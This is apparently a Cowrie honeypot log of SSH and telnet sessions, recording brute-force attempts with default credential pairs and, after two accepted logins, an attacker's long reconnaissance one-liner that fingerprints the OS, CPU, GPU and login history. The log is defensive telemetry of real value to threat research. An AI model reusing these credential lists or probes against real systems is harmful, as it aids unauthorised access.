{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:03.570889Z","src_ip":"160.187.174.22","session":"3c007ca19786","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:03.819061Z","src_ip":"160.187.174.22","session":"3c007ca19786","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:04.551244Z","src_ip":"160.187.174.22","session":"3c007ca19786","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.044092655181885,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:04.863397Z","src_ip":"170.64.224.25","session":"16b93162a1d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41364,"dst_ip":"159.203.135.109","dst_port":23,"session":"74a9bacb8ba7","protocol":"telnet","message":"New connection: 170.64.224.25:41364 (159.203.135.109:23) [session: 74a9bacb8ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:05.740929Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:05.796997Z","src_ip":"160.187.174.22","session":"3c007ca19786","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.701884508132935,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:08.828781Z","src_ip":"170.64.224.25","session":"e259cabe64d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":45514,"dst_ip":"10.17.0.5","dst_port":22,"session":"8987f22578f9","protocol":"ssh","message":"New connection: 91.92.40.4:45514 (10.17.0.5:22) [session: 8987f22578f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:13.227433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:13.231576Z","src_ip":"91.92.40.4","session":"8987f22578f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:13.317528Z","src_ip":"91.92.40.4","session":"8987f22578f9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"passwd","message":"login attempt [oracle/passwd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:13.701589Z","src_ip":"91.92.40.4","session":"8987f22578f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:13.908628Z","src_ip":"91.92.40.4","session":"8987f22578f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:13.911575Z","src_ip":"91.92.40.4","session":"8987f22578f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:13.914706Z","src_ip":"91.92.40.4","session":"8987f22578f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:13.917493Z","src_ip":"91.92.40.4","session":"8987f22578f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:13.920026Z","src_ip":"91.92.40.4","session":"8987f22578f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:13.923351Z","src_ip":"91.92.40.4","session":"8987f22578f9","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:13.925974Z","src_ip":"91.92.40.4","session":"8987f22578f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:13.928351Z","src_ip":"91.92.40.4","session":"8987f22578f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:13.931066Z","src_ip":"91.92.40.4","session":"8987f22578f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:13.934680Z","src_ip":"91.92.40.4","session":"8987f22578f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:13.938185Z","src_ip":"91.92.40.4","session":"8987f22578f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:14.046883Z","src_ip":"91.92.40.4","session":"8987f22578f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:14.137863Z","src_ip":"91.92.40.4","session":"8987f22578f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39528,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc349887ace9","protocol":"telnet","message":"New connection: 170.64.224.25:39528 (159.203.135.109:23) [session: fc349887ace9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:16.074317Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":50314,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dd09d9d831a","protocol":"ssh","message":"New connection: 185.243.11.39:50314 (10.17.0.5:22) [session: 4dd09d9d831a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:22.962938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:22.966603Z","src_ip":"185.243.11.39","session":"4dd09d9d831a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:23.055577Z","src_ip":"185.243.11.39","session":"4dd09d9d831a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"defi","password":"defi123","message":"login attempt [defi/defi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:23.320899Z","src_ip":"185.243.11.39","session":"4dd09d9d831a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:24.412508Z","src_ip":"185.243.11.39","session":"4dd09d9d831a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":57104,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd3c3467035f","protocol":"ssh","message":"New connection: 160.187.174.22:57104 (159.203.135.109:22) [session: dd3c3467035f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:31.528062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:31.532965Z","src_ip":"160.187.174.22","session":"dd3c3467035f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:31.785354Z","src_ip":"160.187.174.22","session":"dd3c3467035f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:32.517817Z","src_ip":"160.187.174.22","session":"dd3c3467035f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:33.050132Z","src_ip":"160.187.174.22","session":"dd3c3467035f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:33.052272Z","src_ip":"160.187.174.22","session":"dd3c3467035f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:33.298228Z","src_ip":"160.187.174.22","session":"dd3c3467035f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:33.301898Z","src_ip":"160.187.174.22","session":"dd3c3467035f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.501473903656006,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:43.242236Z","src_ip":"170.64.224.25","session":"74a9bacb8ba7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.53880500793457,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:45.413198Z","src_ip":"170.64.224.25","session":"4b0eb20145a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":57274,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e907d725b60","protocol":"ssh","message":"New connection: 160.187.174.22:57274 (159.203.135.109:22) [session: 4e907d725b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:57.712470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:57.716331Z","src_ip":"160.187.174.22","session":"4e907d725b60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:57.953914Z","src_ip":"160.187.174.22","session":"4e907d725b60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:57:58.650298Z","src_ip":"160.187.174.22","session":"4e907d725b60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:00.063346Z","src_ip":"160.187.174.22","session":"4e907d725b60","protocol":"ssh"}
